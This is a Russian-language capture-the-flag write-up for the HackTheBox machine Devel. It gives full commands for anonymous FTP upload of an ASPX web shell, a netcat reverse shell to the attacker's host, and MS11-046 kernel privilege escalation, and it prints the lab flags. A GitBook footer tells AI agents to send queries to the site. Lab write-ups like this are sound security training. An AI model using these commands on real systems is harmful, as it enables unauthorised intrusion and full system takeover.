> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md). # Разбор HackTheBox Devel Разбор Easy Windows-машины HackTheBox Devel, охватывающий анонимный FTP, ASPX web shell, доступ через reverse shell и повышение привилегий MS11-046. {% embed url="" %} {% hint style="warning" %} **Навыки:** * Анонимный доступ к FTP * Загрузка ASPX веб-оболочки * Повышение привилегий ядра MS11-046 {% endhint %} ## Разведка ### Настройка рабочей среды ```bash mkdir Devel cd !$ ```

### Обнаружение хоста TTL 128 указывает на то, что целевая система, вероятно, работает под Windows. ```bash ping -c 1 10.129.5.142 ```

### Сканирование портов Выполните полное TCP-сканирование, чтобы определить открытые порты: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.142 -oG allPorts ``` Порты 21 и 80 открыты.

Выполните целевое сканирование, чтобы определить доступные службы: ```bash nmap -sCV -p80,21 10.129.5.142 -oN targeted ```

## Начальный доступ ### Анонимный доступ к FTP FTP принимает анонимную аутентификацию и сопоставляется с веб-сервером на порту 80. Выведите список каталога FTP после аутентификации: ```bash ftp anonymous@10.129.5.142 ls ``` Каталог содержит `aspnet_client`, `iisstart.htm`, и `welcome.png`. Это стандартные файлы корня веб-сервера IIS. Веб-сервер отображает изображение по умолчанию `welcome.png` .

Создайте тестовый файл локально и загрузите его, чтобы проверить права на запись: ```bash echo test > test.txt put test.txt ``` Загрузка выполняется успешно. Переход по адресу `http://10.129.5.142/test.txt` подтверждает, что загрузки через FTP обслуживаются IIS.

### ASPX веб-оболочка {% embed url="" %} Скачайте ASPX веб-оболочку: ```bash wget https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx ``` Загрузите её через FTP: ```bash put aspx_cmd.aspx ```

Откройте `http://10.129.5.142/aspx_cmd.aspx` для выполнения команд. Веб-оболочка обеспечивает удалённое выполнение команд: ```bash whoami iis apppool\web ```

### Обратная оболочка Скопируйте `nc.exe` в текущий каталог. Этот двоичный файл создаёт интерактивную оболочку Windows: ```bash cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe . ``` Запустите SMB-сервер, чтобы расшарить исполняемый файл: ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

Запустите слушатель на порту 4444: ```bash sudo rlwrap nc -nvlp 4444 ``` Выполните эти команды через веб-оболочку. Первая команда копирует Netcat из SMB-ресурса. Вторая подключается обратно к слушателю: ```bash copy \\10.10.15.2\smbFolder\nc.exe C:\Users\Public\nc.exe C:\Users\Public\nc.exe -e cmd.exe 10.10.15.2 4444 ```

Оболочка работает как `iis apppool\web`. Эта учётная запись имеет ограниченные привилегии. ## Повышение привилегий ### Сведения о системе ```bash systeminfo ``` Это показывает версию Windows и сведения о системе.

Целевая система работает под Windows 7 Enterprise. ### MS11-046 `systeminfo` определяет Windows 7 Enterprise, сборка `7600`. Эта не пропатченная версия является кандидатом для известных локальных эксплойтов ядра. MS11-046 — это уязвимость локального повышения привилегий. Для неё требуется уже имеющееся выполнение кода на хосте. Она не эксплуатирует SMB удалённо. Используйте эксплойт ядра MS11-046: {% embed url="" %} Клонируйте репозиторий с эксплойтом: ```bash git clone https://github.com/SecWiki/windows-kernel-exploits ``` Перейдите в каталог эксплойта: ```bash cd windows-kernel-exploits/MS11-046 ``` Поделитесь исполняемым файлом с целью через SMB: ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

Скопируйте исполняемый файл из оболочки Windows в каталог с правом записи: ```bash copy \\10.10.15.2\smbFolder\ms11-046.exe c:\Users\Public\Downloads\ms11-046.exe ```

Подтвердите текущего пользователя, затем запустите эксплойт: ```bash whoami iis apppool\web ``` ```bash .\ms11-046.exe ``` Эксплойт возвращает `NT AUTHORITY\SYSTEM` оболочку: ```bash whoami nt authority\system ```

## Флаги ```bash type c:\Users\babis\Desktop\user.txt 0efea4c5e140c594ce1ca88594b3d7dc type c:\Users\Administrator\Desktop\root.txt 3d360ef3c74b5936a51971a8f7383c11 ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.